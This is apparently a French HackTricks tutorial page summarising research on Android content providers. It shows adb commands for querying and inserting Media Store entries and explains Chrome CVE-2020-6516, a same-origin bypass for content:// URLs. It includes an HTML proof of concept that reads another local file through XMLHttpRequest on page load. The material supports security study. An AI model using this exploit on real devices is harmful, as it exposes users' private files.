tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Ceci est un résumé du post https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/

Lister les fichiers dans le Media Store

Pour lister les fichiers gérés par le Media Store, la commande ci-dessous peut être utilisée :

bash
$ content query --uri content://media/external/file

Pour une sortie plus conviviale, affichant uniquement l'identifiant et le chemin de chaque fichier indexé :

bash
$ content query --uri content://media/external/file --projection _id,_data

Les fournisseurs de contenu sont isolés dans leur propre espace de noms privé. L'accès à un fournisseur nécessite l'URI spécifique content://. Les informations sur les chemins d'accès à un fournisseur peuvent être obtenues à partir des manifestes d'application ou du code source du framework Android.

Accès de Chrome aux Fournisseurs de Contenu

Chrome sur Android peut accéder aux fournisseurs de contenu via le schéma content://, lui permettant d'accéder à des ressources comme des photos ou des documents exportés par des applications tierces. Pour illustrer cela, un fichier peut être inséré dans le Media Store et ensuite accessible via Chrome :

Insérer une entrée personnalisée dans le Media Store :

bash
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain

Découvrez l'identifiant du fichier nouvellement inséré :

bash
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt

Le fichier peut ensuite être consulté dans Chrome en utilisant une URL construite avec l'identifiant du fichier.

Par exemple, pour lister les fichiers liés à une application spécifique :

bash
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>

Chrome CVE-2020-6516 : Contournement de la politique de même origine

La politique de même origine (SOP) est un protocole de sécurité dans les navigateurs qui restreint les pages web d'interagir avec des ressources provenant d'origines différentes, sauf si cela est explicitement autorisé par une politique de partage de ressources entre origines (CORS). Cette politique vise à prévenir les fuites d'informations et le vol de requêtes intersites. Chrome considère content:// comme un schéma local, impliquant des règles SOP plus strictes, où chaque URL de schéma local est traitée comme une origine distincte.

Cependant, CVE-2020-6516 était une vulnérabilité dans Chrome qui permettait de contourner les règles SOP pour les ressources chargées via une URL content://. En effet, le code JavaScript d'une URL content:// pouvait accéder à d'autres ressources chargées via des URL content://, ce qui représentait une préoccupation majeure en matière de sécurité, en particulier sur les appareils Android exécutant des versions antérieures à Android 10, où le stockage scoping n'était pas implémenté.

Le proof-of-concept ci-dessous démontre cette vulnérabilité, où un document HTML, après avoir été téléchargé sous /sdcard et ajouté au Media Store, utilise XMLHttpRequest dans son JavaScript pour accéder et afficher le contenu d'un autre fichier dans le Media Store, contournant les règles SOP.

Proof-of-Concept HTML :

xml
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}

xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks